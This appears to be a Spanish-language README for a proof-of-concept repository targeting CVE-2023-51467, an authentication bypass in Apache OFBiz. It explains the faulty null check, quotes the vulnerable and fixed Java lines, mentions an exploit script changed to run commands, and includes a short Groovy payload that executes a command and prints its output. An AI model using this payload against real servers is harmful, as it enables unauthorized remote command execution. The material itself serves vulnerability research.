imuspirit/cve-2023-51467CVE-2023-51467 POC
exp.py cambiado a ejecución de comandos
Explotación de deserialización
Prueba de omisión de autenticación
Debido a que durante la verificación de identidad se usó erróneamente null para la comparación, este método no tuvo efecto, lo que provocó que se omitiera la autenticación.
if (username == null) username = (String) session.getAttribute("USERNAME");
if (password == null) password = (String) session.getAttribute("PASSWORD");
if (token == null) token = (String) session.getAttribute("TOKEN");
if (UtilValidate.isEmpty(username)) username = (String) session.getAttribute("USERNAME");
if (UtilValidate.isEmpty(password)) password = (String) session.getAttribute("PASSWORD");
if (UtilValidate.isEmpty(token)) token = (String) session.getAttribute("TOKEN");
Algunos análisis mencionan la ejecución directa de comandos, pero esto requiere omitir el filtro de Groovy. O tal vez haya un mejor punto de entrada para la ejecución. rce.txt
def process = cmd.execute()
process.waitFor()
println "Exit code: ${process.exitValue()}"
println "Output:\n${process.text}"```
## Referencias
https://github.com/apache/ofbiz-framework/commit/47e7959065b82b170da5c330ed5c17af16415ede#diff-68decfd4946b8ef0adcc4c7f18b938aec4a07ff7ce64609a2691ba88a4688607
https://mp.weixin.qq.com/s/vdyqfm0FkbKp5W2LilhbXA
No lo utilice con fines ilegales.